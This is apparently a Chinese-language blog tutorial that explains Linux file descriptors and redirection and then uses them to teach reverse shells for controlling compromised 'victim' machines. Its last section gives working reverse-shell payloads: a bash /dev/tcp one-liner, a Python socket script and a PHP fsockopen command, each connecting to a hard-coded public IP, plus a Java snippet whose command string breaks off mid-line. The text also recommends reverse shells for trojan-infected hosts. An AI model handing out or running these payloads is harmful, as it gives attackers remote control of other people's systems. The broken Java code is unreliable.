1,Linux中文件描述符
2,Linux輸入輸出重定向
3,反彈shell作用與目的
4,基礎反彈shell語句的本質
5,反彈shell多種方式(命令行,php,python,java,nc)
壹 Linux中的文件描述符
首先我們需要回顧一下Linux系統的一個特點:一切皆文件
所有不同種類的類型都被抽象成了文件;如:普通文件、目錄、字符設備、塊設備、套接字等
當一個文件進程被打開,就會創建一個文件描述符,這時候,文件的路徑就成了尋址系統,文件的描述符就成了接口,類似於C語言中的“指針”,我們通過這個“指針”,就可以實現對文件的讀寫操作,也就是實現對被抽象事物的操作:普通文件、目錄、字符設備、塊設備、套接字等
每次Linux系統啓動的時候,就會默認打開三個文件描述符:
- 標準輸入standard input 0 (默認設備鍵盤)
- 標準輸出standard output 1(默認設備顯示器)
- 錯誤輸出:error output 2(默認設備顯示器)
分別對應着這/dev/tty0這個“文件”
我們在linux系統中所有的輸入輸出都是由這個進程所有打開的“文件描述符”控制的;就包括我們的輸入設備“鍵盤”以及輸出設備“顯示器”在Linux系統中也是由文件的形式進行調用使用的。
一條命令執行以前先會按照默認的情況進行綁定(也就是上面圖裏面所說的 0,1,2),如果我們有時候需要讓輸出不顯示在顯示器上,而是輸出到文件或者其他設備,那我們就需要重定向。
貳 Linux中輸入和輸出的重定向
重定向主要分爲兩種(其他複雜的都是從這兩種衍生而來的):
-
輸入重定向 < <<
-
輸出重定向 > >>
bash在執行一條指令的時候,首先會檢查語句中是否存在重定向符號,如果存在的話,就會首先將文件描述符重定向;
若是指令語句中存在多個重定向的話,就會按照書寫習慣從左往右依次重定向(所以重定向的順序千萬不能改變)
< 是對輸入0的重定向 ;
> 是對輸出1的重定向;
栗子一:
首先創建文本文件test,向其寫入 “hello world !” 字符串;然後我們嘗試通過文件重定向進行查看:
將文件描述符 0 重定向到 test 指代的文件(以只讀方式打開),如果0這個描述符省略就是0(標準輸入):
同樣要是我們通過這種方式:
解析器解析到 "<" 以後會先處理重定向,將標準輸入重定向到test,之後cat再從標準輸入讀取指令的時候,由於標準輸入已經重定向到了test ,於是cat就從test中讀取指令了。
參考下圖所示:
這裏的輸入不再是鍵盤,而是變成了目錄中的某個文件
栗子二:
這裏就是將輸出重定向,屏幕中輸出的內容直接指向了目錄下的某個文件
同理,我們這裏還可以將符號省略,就默認爲描述符1
如圖下所示:直接輸出到文件file中
栗子三:
我們在這兒將命令“ll”的結果輸入到了test文件之中;但是如果我們的輸入命令有問題(錯誤):
文件測輸入了空值;
在這裏我們需要引入標準輸出與標準錯誤輸出重定向:
栗子四:
也就是說,要是輸入的是錯誤信息,我們就會將錯誤信息的引流到輸出上面去,相當於指針指向的是內存地址一般
我們可以通過 >& 和 &>兩個符號代替結尾的 2>&1
根據以上方法,我們可以通過文件描述符之間的指向,完成更復雜的操作。
綁定重定向:exec
栗子五:
以讀寫方式打開test指代的文件,並將6重定向到該文件。如果6不指定的話,默認爲標準輸入0。
這個時候我們再次查看test文件,內容依舊沒有改變:
但我們此時,重定向6:
相當於直接將ifconfig這個命令的結果直接賦給了test文件中,這個文件描述符相當於一個指針,指向了文件test的內容
叄 反彈shell作用與目的
扯了這麼多全都是鋪墊,現在我們看看什麼是
反彈shell:
英文名(好像高端一點):Reverse Shell,就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。
簡潔的說,就是讓被攻擊的機器,主動地送上門來找你白給,而不是你去找他
爲什麼要用反彈shell?
通常用於被控端因防火牆受限、權限不足、端口被佔用等情形;
假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面,web服務,ssh,telnet等等,都是正向連接。那麼什麼情況下正向連接不太好用了呢?
1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。
2.它的ip會動態改變,你不能持續控制。
3.由於防火牆等限制,對方機器只能發送請求,不能接收請求。
4.對於病毒,木馬,受害者什麼時候能中招,對方的網絡環境是什麼樣的,什麼時候開關機,都是未知,所以建立一個服務端,讓惡意程序主動連接,纔是上策。
那麼反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。
肆 基礎反彈shell語句的本質
我們先看一下這個效果:
攻擊者:
受害者:
然後與此同時:
我們來放飛一下自我:
這就直接掌握了他們機子了,你就是那個管理員在賽博朋克的遠方的爸爸了;
我們來分析一下這段命令:
bash -i > /dev/tcp/192.168.86.129/999 0>&1 2>&1
bash -i
- bash 是linux 的一個比較常見的shell,其實linux的shell還有很多,比如 sh、zsh、等,他們之間有着細小差別
- -i 這個參數表示的是產生交互式的shell
/dev/tcp/ip/port
/dev/tcp|udp/ip/port 這個文件是特別特殊的,實際上可以將其看成一個設備(Linux下一切皆文件),其實如果你訪問這個文件的位置他是不存在的;但是如果你在一方監聽端口的情況下對這個文件進行讀寫,就能實現與監聽端口的服務器的socket通信:
我們可以直接輸出字符串到這兒,然後監聽那一端就會顯示:
受害者:
監聽端口:
就相當於一個遠程的可操作接口
監聽端口:
受害者端口:
bash -i > /dev/tcp/ip/port
這樣做的直接效果如下圖所示:
就是,輸出端口直接從顯示器變爲了那個遠程的設備/dev/tcp/ip/port;但是我們這樣子在攻擊端口是無法控制被害者的,因爲輸入端還是在被害者哪兒,所以我們需要將描述符重定向一下:
bash -i > /dev/tcp/ip/port 0>&1
但是我們觀察被害者端:
黑客所輸入的命令都被顯示出來,這可不行,於是我們改變一下命令:
bash -i > /dev/tcp/ip/port 0>&1 2>&1
黑客:
被害者:
全然不知早已狼入虎口....
即使武功再高卻也插翅難飛,在劫難逃
伍 反彈shell多種方式(命令行,php,python,java,nc)
命令行
bash -i > /dev/tcp/ip/port 0>&1 2>&1
NC反彈shell
https://blog.csdn.net/Alexz__/article/details/104645626我曾經在這兒介紹過一個反彈shell的方式;NC工具進行反彈shell。但是利用範圍很有限
Python反彈shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("119.23.30.155",7777));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
Python3.67環境下實測通過
PHP的fsockopen函數
# 在A上用nc監聽7788端口
nc -lvp 7788
在B上執行
php -r '$sock=fsockopen("39.108.72.123",7788);exec("/bin/bash -i <&3 >&3 2>&3");'
此時即可在A上操作B 該方式會回顯輸入的命令
若要退出 使用exit命令
JAVA環境反彈shell
public class Revs {
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/39.107.111.15
Process p = r.exec(cmd);
p.waitFor();
}
}
執行
java 1.java
宿主監聽即可
本文參考於:
一生中
我曾多次撒謊
卻始終誠實地遵守着
一個兒時的諾言
——北島《結局或開始 ——獻給遇羅克》